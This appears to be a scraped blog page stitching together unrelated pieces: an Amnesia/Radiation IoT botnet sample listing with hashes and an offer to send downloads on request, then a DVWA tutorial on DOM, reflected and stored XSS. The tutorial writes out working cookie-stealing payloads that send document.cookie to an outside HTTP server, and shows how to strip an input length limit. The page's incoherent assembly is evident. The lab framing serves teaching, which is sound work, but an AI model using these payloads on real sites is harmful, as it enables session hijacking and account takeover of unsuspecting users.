bowling: 26‏/01‏/2024

الجمعة، 26 يناير 2024

Amnesia / Radiation Linux Botnet Targeting Remote Code Execution In CCTV DVR Samples

Amnesia / Radiation botnet samples

Remote Code Execution in CCTV DVR (kerneronsec.com - 2016)

2017-04-06 Palo Alto Unit 42. New IoT/Linux Malware Targets DVRs, Forms Botnet

2016-08-11 CyberX Radiation IoT Cybersecurity campaign

Download. Email me if you need the password (see in my profile)

Malware Inventory (work in progress)

Links updated: Jan 20, 2023

Hashes

MD5	SHA256	SHA1
74bf554c4bc30d172cf1d73ac553d766	06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374	3c40221177383da576b11a0b3f6b35d68a9cde74
5dd9056e5ab6a92e61822b6c04afd346	10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653	c865dd67853a24fd86ef74b05140827c1d5fd0bd
2b486466f4d3e30f7b22d0bc76cb68f9	175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575	ed62f6d1588bea33c20ababb42c02662d93d6015
3411bb2965f4c3d52c650aff04f48e52	1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a	1e0281178b4a9d8dec74f50a7850867c87837435
34f915ac414e9aad2859217169f9a3aa	2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22	d66f1e47c983a8d30ad7fd30cd08db8cd29a92b0
59e08f2ce1c3e55e2493baf36c1ad3c6	327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e	90d45b81e9a97ddcc9911122f4e8fd439ccc8fa9
f4bc173bf80d922da4e755896af0db61	37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af	fab32f8c3ce3a837e80a1d98ada41a5bf39b01e7
a253273e922ce93e2746a9791798e3fe	3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96	99cfdec405f6a9f43d58b1856fce7ca3445395d3
335e322c56278e258e4d7b5e17ad98e6	4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54	504022707609a0fec9cbb21005cb0875be2a4726
93522e5f361a051f568bd1d74d901d30	46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b	e7fc96b2a92888572de2539f227c9a6625449f83
c86af536d87c1e5745e7d8c9f44fd25d	4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0	6ef69a683913ae650634aedc40af8d595c45cb4f
90c7c5e257c95047dbf52bbfbe011fd6	4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8	1c3a9be6ae9300aaad00fb87d5407ed6e84ec80b
7c0528e54b086e5455ef92218ea23d03	5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c	868abc912ff2fdcd733ff1da87e48e7d4c288a73
6405b42d2c7e42244ac73695bb7bfe6b	64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707	173aca65181c8da84e062c803a43a404ad49302d
6441157813de77d9849da5db9987d0bb	6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3	92dff9bdb31d3b9480d9e5f72a307715859dd094
614ea66b907314398cc14b3d2fdebe79	6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b	c7e71c42d391f9c69375505dbf3767ba967f9103
00fe3120a666a85b84500ded1af8fb61	885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09	342ed67e08d16ab982a4012fcecdca060a5da46b
5477de039f7838dea20d3be1ae249fcb	886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0	5b19202b45e5a58cadec8c2efa40fd924b64177d
91bf10249c5d98ea6ae11f17b6ef0970	8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243	682dab9ec3ff0b629cce4e16c9c74171dd2551d4
fb0a7e12d2861e8512a38a6cdef3ddf0	9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb	c077c490bb22df9886475dc5bedfc6c032061024
9b7f5a1228fa66cbd35e75fb774fdc8e	9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2	ae89bc6c5cc1818b3136a40961462327c3dececc
5b97d54dc5001eb7cf238292405070a6	a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0	96d2194f5f3927de75605f6ca6110fe683383a01
642f523bb46c2e901416047dca1c5d4e	ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8	bbf667213a446bc9bc4a5a2e54e7391752e3a9b8
c617655312c573ecb01d292b320fff2e	aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a	de102a6f35e08f18aa0c58358f5b22871eb0a45f
c8835a3d385162ae02bd4cb6c5ebac87	b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815	831eb9cf0dcd57a879c04830e54a3b85fe5d6229
1497740fa8920e4af6aa981a5b405937	b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252	8d6b90f0b88b1ad5dcc87d377e6a82dc6ac64211
5e925e315ff7a69c2f2cf1556423d5af	b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545	64fe900b3a2b030c28211404afa45703c6869dea
951ec487fb3fece58234677d7fe3e4dc	bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772	0b03d9471522590530dd90ad30b2d235ec98b578
3e84998197fc25cbac57870e3cdeb2de	c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902	0b9eb6d931dc6b226a913e89bb422f58228de0d0
c3a73d24df62057e299b6af183889e6b	cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483	6a683ef6f7653e5ee64969cbbbe4403601ae9ded
d428f50a0f8cd57b0d8fe818ace6af20	ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3	9bd832256b94e43546dfb77532f6d70fcd1ce874
e1d6d4564b35bb19d2b85ca620d7b8f2	d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9	c1af00d3263893b5d23dbf38015fe3c6a92cefaf
e9502ae7b0048b9ea25dd7537818904c	e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082	0e080ac0130ab3f7265df01b8397e4abd13c38cb
8eb34e1fb7dd9d9f0e1fef2803812759	eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a	5310a99f0f8c92bfa2f8da87e60c645f2cae305a
ca0fc25ce066498031dc4ca3f72de4b8	f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583	7f4d97eea294fc567b058b09cc915be56c2a80e1
5a2fcfff8d6aab9a0abe9ca97f6093ed	f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16	f4ddf49fbf23edb23f50be62637a4a688e352057
ed98e8fa385b39ca274e0de17b1007e6	f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729	a69d4c2b88bfe3a06245f8fbfb8abe5e9a894cec
320db5f1230fcfe0672c8515eb9ddcfc	f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07	8d40dbf34a02dd43a81e5cdc58a0b11bfa9f5663
18d6af9211d0477f9251cf9524f898f3	f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8	b0e76be186fd609d5a8a33d59d16ffa3bdab1573

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

3687 hash passwords

bowling